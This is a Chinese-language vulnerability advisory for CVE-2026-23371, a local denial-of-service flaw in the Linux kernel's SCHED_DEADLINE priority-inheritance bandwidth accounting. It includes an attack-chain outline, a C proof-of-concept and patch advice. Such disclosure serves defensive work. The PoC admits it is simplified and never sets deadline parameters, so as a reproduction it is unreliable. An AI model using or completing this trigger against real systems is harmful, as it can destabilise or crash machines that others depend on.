IPBUF安全漏洞报告
English
CVE-2026-23371 CVSS 5.5 中危

CVE-2026-23371 Linux内核调度拒绝服务漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23371
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSSchedulerCVE-2026-23371Race Condition

漏洞概述

Linux内核的sched/deadline组件存在一个逻辑漏洞。当SCHED_DEADLINE任务持有PI互斥锁时,若通过sched_setscheduler将其调度策略更改为低优先级类,可能导致带宽计费错误。由于任务未能正确继承DEADLINE捐赠者的参数,导致enqueue_task_dl()无法识别该任务处于提升状态,从而引发running_bw下溢,触发内核WARNING,影响系统稳定性。

技术细节

该漏洞发生在Linux内核实时调度器的优先级继承(PI)机制中。漏洞场景为:一个DEADLINE任务(持有者)持有互斥锁,另一个DEADLINE任务(捐赠者)等待该锁。如果在持有锁期间,持有者被sched_setscheduler()降级为低优先级类,内核未能强制其继承捐赠者的DEADLINE参数。在后续调度中,由于缺少ENQUEUE_REPLENISH标志,带宽统计变量(running_bw)在任务出队时会发生下溢,破坏内核数据一致性。虽然主要影响系统稳定性(DoS),但在特定高负载下可能导致严重后果。

攻击链分析

STEP 1
步骤1
攻击者创建一个持有PI互斥锁的SCHED_DEADLINE任务(持有者)。
STEP 2
步骤2
另一个SCHED_DEADLINE任务(捐赠者)尝试获取该锁并进入阻塞状态。
STEP 3
步骤3
攻击者调用sched_setscheduler()修改持有者任务的调度策略,将其降级为低优先级类(如SCHED_OTHER)。
STEP 4
步骤4
内核在处理降级时未能继承捐赠者参数,触发running_bw下溢及内核警告,导致系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23371: Trigger missing ENQUEUE_REPLENISH * This code simulates the scenario described in the vulnerability report. * Requires a kernel with SCHED_DEADLINE support and appropriate permissions. */ #include <pthread.h> #include <sched.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> pthread_mutex_t pi_mutex; void *holder_thread(void *arg) { // 1. Hold the mutex pthread_mutex_lock(&pi_mutex); printf("Holder: Lock acquired\n"); // Simulate workload or wait for de-boost sleep(1); // 2. Change scheduler to lower priority (e.g., SCHED_OTHER) while holding lock struct sched_param param; param.sched_priority = 0; if (sched_setscheduler(0, SCHED_OTHER, &param) == 0) { printf("Holder: Scheduler changed to SCHED_OTHER\n"); } sleep(1); pthread_mutex_unlock(&pi_mutex); printf("Holder: Lock released\n"); return NULL; } void *donor_thread(void *arg) { // Wait a bit to ensure holder has the lock sleep(1); printf("Donor: Trying to acquire lock...\n"); // 3. Block on the mutex held by the holder (Priority Inheritance trigger) pthread_mutex_lock(&pi_mutex); printf("Donor: Lock acquired\n"); pthread_mutex_unlock(&pi_mutex); return NULL; } int main() { pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT); pthread_mutex_init(&pi_mutex, &attr); pthread_t h_tid, d_tid; // Set initial policy to SCHED_DEADLINE or RT (simplified here for structure) struct sched_param param; param.sched_priority = 10; // Note: Real reproduction requires setting SCHED_DEADLINE params correctly pthread_create(&h_tid, NULL, holder_thread, NULL); pthread_create(&d_tid, NULL, donor_thread, NULL); pthread_join(h_tid, NULL); pthread_join(d_tid, NULL); return 0; }

影响范围

Linux Kernel < 版本特定commit (ba1c22924ddc...)

防御指南

临时缓解措施
建议立即应用官方发布的补丁,该补丁引入了__setscheduler_dl_pi()函数以正确处理任务降级时的参数继承。在未升级前,应严格控制系统调用权限,避免在敏感系统上运行可能导致调度器压力的测试程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表